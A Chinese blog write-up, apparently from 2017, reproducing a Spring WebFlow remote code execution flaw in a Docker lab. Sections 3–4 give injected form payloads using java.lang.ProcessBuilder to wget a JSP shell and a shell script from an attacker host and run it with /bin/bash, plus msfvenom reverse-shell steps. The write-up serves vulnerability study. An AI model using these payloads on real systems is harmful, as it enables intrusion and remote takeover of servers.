本文講的是<b>猥瑣思路複現Spring WebFlow遠端代碼執行</b>,說明:做安全的,思路不猥瑣是日不下站的,必須變的猥瑣起來,各種思路就會在你腦海中迸發。
1.不溫不火的漏洞
這個漏洞在六月份的時候就被送出了,但是官方也沒有消息,是以圈子裡沒有人關注也就屬于正常現象了。漏洞分析也在三天前發了出來,但是同樣不溫不火。我也是今天才知道。是以在沒有事情的時候測試了一波,配合各種猥瑣思路,成功拿到一個反彈的會話。
2.漏洞發現及産生原因
Spring WebFlow在Model的資料綁定上面,由于沒有明确指定相關model的具體屬性導緻從表單可以送出惡意的表達式進而被執行,導緻任意代碼執行的漏洞。但是複現的環境比較苛刻。除了版本的限制之外還有兩個前置條件,這兩個前置條件中有一個是預設配置,另外一個就是編碼規範了,漏洞能不能利用成功主要就取決于後面的條件。
删删寫寫,真的不知道要怎麼描述,附上這個漏洞分析的連結:分析連結
看完文章反正我是覺得作者好牛的,直接從人家官方釋出的更新檔中分析出漏洞。我等小菜隻負責學習審計思路,複現就好。
3.環境的搭建
docker環境下載下傳位址:點選這裡
别問我為什麼不自己配環境。。講一句心裡話,我真的感覺做J2EE開發的程式員真心牛,他們配個環境分分鐘的事情,還不會報錯。今天本來打算自己配置這個spring環境的,結果,配置哭了,一天都沒搞好。。還是python好,環境那麼好配置。需要什麼下什麼,重點是一般都不會報什麼錯誤。
沒說JAVA不牛,大型項目還得他。zap還是用java寫的囊,多牛。單純環境難配置而已啦,果斷選擇别人做好的Docker
克隆完成後,執行兩條指令
完成之後通路http://ip:30082端口就一切ok了
按理來說通路到這個頁面就可以執行漏洞操作了,但是為了友善後續的操作,可以進入docker環境的終端
docker ps –檢視目前運作的docker程序
docker exec -it [id号] /bin/bash
之後登陸操作吧
通路:http://ip:30082/hotels/3
ps: 标記的訂單号要寫16位
之後設定好代理,進行抓包。
點選Confirm,在抓到的包之後添加
Go
傳回Error不管,直接來到docker下的tmp目錄看結果
成功生成一個success檔案.
4.猥瑣思路開始閃現
思路–1
預設是 沒有python的,友善我的猥瑣思路當然要裝一個~
檔案建立成功了,還能指令執行,那還說啥子嘛~?直接上python反彈payload去執行
用msfvenom生成反彈的payload
擷取反彈需要執行的代碼
但是這個時候注意到一個東西<code>""</code>,雙引号這個東西,如果放到包中去會被閉合,那樣的代碼肯定沒辦法執行啊。不得行,不得不換下一個思路。
正在想怎麼辦,測試了一個别的指令,之後發現,指令之間不能加空格。。。如下
并沒有執行成功。
思路–2
Spring架構,那肯定跟jsp挂鈎,直接wget一個jsp馬,因為wget指令預設是目前檔案夾下,因為上面的得出的結論,并不能添加空格,指定路徑,(就算能指定路徑,也不知道絕對路徑在哪裡啊- -!),但是總得嘗試的,測一下試試吧。
同樣使用msfvenom
把馬移動到/var/www/html目錄下,保證可以遠端下載下傳
抓包,改包
&_(new+java.lang.ProcessBuilder("wget","http://192.168.12.106/shell.jsp")).start()=iswin
不知道上傳到了哪裡,執行以下find指令,發現并不在網站根目錄下。而是在tomcat目錄下
怎麼辦?mv過去?首先,你不知道網站絕對路徑,其次指令中不能加空格啊。好氣啊,眼看到手的shell又飛了。不得不繼續想辦法。
猥瑣思路–最終大招
方法肯定不止這一種,沒有上面的兩種思路,也不會有最後這種騷套路。你想到沒?
實作方法:wget+python反彈shell
相信有經驗童鞋已經有思路了。肯定很多人還蒙着囊,不是python 雙引号被閉合了嗎,還要怎麼執行???
還不能有空格,怎麼玩???别急嘛。
wget可以執行,并且預設都是在一個目錄下的,沒錯python是不能執行,但是shell腳本可以執行啊。
把剛剛生成的python腳本寫到一個shell腳本裡,下載下傳下來直接執行,一切不就ok了,每空格吧~,雙引号?跟我有關系麼,哈哈~思路有了,測試.
msfvenom生成反彈的payload
打開Metasploit設定監聽
送出吧
&_(new+java.lang.ProcessBuilder("wget","http://192.168.12.106/shell.sh")).start()=iswin
執行shell腳本
&_(new+java.lang.ProcessBuilder("/bin/bash","shell.sh")).start()=iswin
成功傳回會話
docker沒有ifconfig指令的=
如果想擷取Meterpreter回話,你覺得還會遠麼?自己YY
5.總結一下
之前還想寫個檢測腳本研究一下了,但是寫着寫着好像突然感覺到,這個漏洞沒有像struts那個漏洞一樣掀起浪潮是有原因的。他并不能像strtus這個漏洞那樣直接可以測試的出,隻有白盒才能測出問題所在,知道哪裡使用了addEmptyValueMapping這個函數。并不能直接黑盒測試,或許也可以,将所有送出的資料包都加入payload檢測,那相當于掃描全站了。或許在拿到授權的測試下,還是可以試一下的,但是我們這種複現漏洞的,還是别拿人家網站亂掃了。。
原文釋出時間為:2017年6月15日
本文作者:smileTT
本文來自雲栖社群合作夥伴嘶吼,了解相關資訊可以關注嘶吼網站。
<a href="http://www.4hou.com/technology/5449.html" target="_blank">原文連結</a>